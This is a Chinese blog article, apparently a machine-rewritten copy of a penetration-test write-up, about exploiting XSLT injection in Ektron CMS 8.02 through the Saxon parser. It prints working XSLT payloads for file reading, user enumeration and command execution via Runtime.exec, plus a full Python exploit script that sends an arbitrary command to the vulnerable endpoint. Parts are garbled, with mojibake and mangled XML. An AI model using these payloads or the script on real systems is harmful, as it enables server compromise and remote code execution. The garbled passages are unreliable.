xss娉ㄥ叆婕忔礊(XSLT注入漏洞案例分析)

技术XSLT注入漏洞案例分析这篇文章主要讲解了“XSLT注入漏洞案例分析”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“XSLT注入漏洞案例分析”吧!XSLT注入漏洞,漏洞

本文主要讲解“XSLT注入漏洞案例分析”,简单明了,易学易懂。现在,请跟随边肖的思路,一起学习和研究“XSLT注入漏洞案例分析”!

XSLT注入漏洞,漏洞存在于Ektron CMS 8.02的Saxon组件中,攻击者利用该漏洞,可造成SSRF甚至RCE。但研究者发现Metasploit上的exp似乎无法利用,漏洞已被修补。后来经过摸索,进一步做信息收集,最终获取RCE。

00-1010一位外国研究员受邀为一家大型组织做Web渗透测试。经过简单的信息收集,发现Web应用相对简单,没有明显的缺陷。

经过进一步的搜索和测试,研究人员使用dirbuster(目录扫描程序)找到了一个有趣的JavaScript文件,文件内容显示该应用程序是Ektron CMS 8.02.

简单搜索互联网,研究人员在微软研究咨询中发现了一些关于内容管理系统的漏洞信息:

.当Ektron Web CMS的XslCompiledTransform类处理用户控制的XSL数据时,可能会导致代码执行容易。

易受攻击页面:

https ://host/work area/content designer/ekaax transform . aspx目标确实有此页面,它可能存在漏洞。接下来,研究人员开始枚举目标服务器上的XSLT解析引擎,通过Burp发送POST请求,并将XSLT有效负载插入Body:

xslt=?xml版本='1.0 '编码='ISO-8859-1 '?

xsl:stylesheet版本=' 1.0 ' xmlns : XL=' http://www . w3 . org/1999/XSL/Transform '

xsl:template match='/'

超文本标记语言

身体

版本: xsl : select=' system-property '(xsl : version ')'的值/

vendor : xsl : select=' system-property '(xsl : vendor ')'的值/

供应商URL : xsl : select=' system-property '(xsl : vendor-URL ')'的值/

/body

/html

/xsl:template

/xsl 3360样式表页面反馈:

版本: 1供应商:微软供应商网址: http://www.microsoft.com

00-1010此时,它已经被指示为微软XSLT解析器。然后,研究人员在Metasploit上发现了一个可以用于这种攻击的模块。设置参数后,利用,但不返回任何结果。可以初步判断,目标应用程序中的这个漏洞已经修复,无法利用,但研究人员并没有放弃。检查Metasploit发送的请求:

XSLT注入漏洞案例分析

很容易看出,它会调用一个有趣的脚本:

msxsl:script language=“C#”Implements-prefix=“user”Microsoft XSLT似乎在运行c#。脚本元素允许您在XSLT文档或其他带外扩展中嵌入C#恶意代码。

构建一个简单的SSRF探测器有效载荷:

xslt=xsl:stylesheet版本=' 1.0 ' xmlns : XL=' http://www . w3 . org/1999/XSL/Transform '

xmlns : msxsl=' urn : schemas-Microsoft-com : xlt '

xmlns : App=' http://www . tempuri . org/App '

nbsp;  <msxsl:script implements-prefix="App" language="C#">
     <![CDATA[
         {
             System.Diagnostics.Process.Start("cmd.exe /C ping IP");
         }
     ]]>
   </msxsl:script>
   <xsl:template match="ArrayOfTest">
   </xsl:template>
 </xsl:stylesheet>

反馈:

已禁止使用脚本。可以通过XsltSettings.EnableScript属性激活。

看来这就是为什么Metasploit模块攻击失效的原因了。虽然已在元素中嵌入C#,但脚本被禁用,无法工作。通过这点,可以确定漏洞已经修补了,攻击者无法获取RCE。但研究人员没有放弃,开始进一步搜索漏洞信息。

柳暗花明

查阅资料,研究人员找出两份关于XSLT注入攻击的研究文档[1.2],第一份为德文,较为全面地介绍了这类攻击,第二份来自IOActive。阅读相关文档后,研究人员发现其实Ektron CMS附有多个XSLT解析器,其中一个名为Saxon。枚举Saxon版本:

xslt=<xsl:transform version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</xsl:template>
</xsl:transform>

反馈:

Version: 2.0
Vendor: SAXON 9.x.x.x from Saxonica
Vendor URL: http://www.saxonica.com/

Saxon解析器可以正常解析用户输入,同时提供反馈。接下来,攻击者可以尝试读取一些文件,枚举信息甚至命令执行。

读取文件

<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="unparsed-text('file:///C:/Windows/System32/drivers/etc/hosts')"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
</xsl:transform>

查看当前目录

<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="env:CurrentDirectory()"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
 </xsl:transform>

查看当前用户和域:

<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="env:UserName()"/>
<xsl:value-of select="env:UserDomainName()"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
</xsl:transform>

攻击者现在可以探测服务器目录结构,读取服务器上的大部分文件,SAM文件除外,因为Web应用用户权限不足。

Getshell

研究人员的最终目标是命令执行,但文档中没有可用的XSLT样式。进一步研究那份德文文档,发现可以Xalan处理器来执行Java代码,但Saxon解析器没有声明命名空间。

尝试构造模块,反馈错误。

<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'notepad.exe')"
xmlns:Runtime="java:java.lang.Runtime"/>

研究Saxonica文档后,研究人员发现可利用命名空间和某些函数,构造XSLT文档来执行命令:

xslt=<xml version="1.0"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')" xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>.
</xsl:stylesheet>

后来发现没有声明java的命名空间:

xmlns:java="http://saxon.sf.net/java-type">

如果没有声明命名空间,处理器不能找到与java:java.lang.Runtime相关的外部对象或脚本。

发送有效负载,研究人员可执行任意命令,并且可以与Empire框架连接,至此web渗透部分结束。

利用脚本

#! /usr/bin/python
import httplib

target = raw_input("""Enter the domain or IP address of target:
e.g. www.google.com, or 198.162.0.1:  """)
port = raw_input("""Enter port number of target
e.g. 80 or 443:  """)
process = raw_input("""Enter the process you wish to run:
powershell.exe or cmd.exe:  """)
command = raw_input("""Enter command you wish to run:
e.g. ping 127.0.0.1:  """)


def printText(txt):
   lines = txt.split('\n')
   for line in lines:
       print line.strip()

httpServ = httplib.HTTPConnection( target, port)
httpServ.connect()

payload = """
xslt=<?xml version="1.0"?>
<xsl:stylesheet version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'%s /C %s')"
xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>
</xsl:stylesheet>""" % (process,command)

headers = {"Content-type": "application/x-www-form-urlend; charset=UTF-8", "Accept": "application/x-www-form-urlencoded; charset=UTF-8"}

httpServ.request('POST', '/WorkArea/ContentDesigner/ekajaxtransform.aspx', payload, headers)

response = httpServ.getresponse()
if response.status == httplib.OK:
   print "Java Process Id: "
   printText (response.read())

httpServ.close()

感谢各位的阅读,以上就是“XSLT注入漏洞案例分析”的内容了,经过本文的学习后,相信大家对XSLT注入漏洞案例分析这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是,小编将为大家推送更多相关知识点的文章,欢迎关注!

内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/150145.html

(0)

相关推荐

  • python查询字典最快的方法(python字典查找算法)

    技术Python字典查找性能的示例分析这期内容当中小编将会给大家带来有关Python字典查找性能的示例分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。timeit.repeattim

    攻略 2021年12月23日
  • nginx内存池源码分析

    技术nginx内存池源码分析本篇内容主要讲解“nginx内存池源码分析”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“nginx内存池源码分析”吧!内存池概述 内存池是在

    攻略 2021年11月19日
  • 污的句子,哪些词语以前不污 但现在很污

    技术污的句子,哪些词语以前不污 但现在很污其实压根就不是这些词语变污了 只是我们自己的思想变污了…… 记得那年污的句子,那时候的火腿是吃的
    肥皂是用的,木耳还是一道爽口菜
    黄瓜还是一种蔬菜,菊花也还美丽地绽放
    那时

    生活 2021年10月29日
  • CSS网页布局中容易发生的错误编码有哪些

    技术CSS网页布局中容易发生的错误编码有哪些本篇内容介绍了“CSS网页布局中容易发生的错误编码有哪些”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大

    攻略 2021年12月10日
  • 《Unix/Linux系统编程》第六章学习笔记

    技术《Unix/Linux系统编程》第六章学习笔记 《Unix/Linux系统编程》第六章学习笔记信号和信号处理
    摘要
    本章讲述了信号和信号处理;介绍了信号和中断的统一处理,有助于从正确的角度看待信号;

    礼包 2021年11月13日
  • 注安报考条件,注安工程师需要什么条件

    技术注安报考条件,注安工程师需要什么条件一)具有安全工程及相关专业大学专科学历注安报考条件,从事安全生产业务满5年;或具有其他专业大学专科学历,从事安全生产业务满7年。(二)具有安全工程及相关专业大学本科学历,从事安全生

    生活 2021年10月20日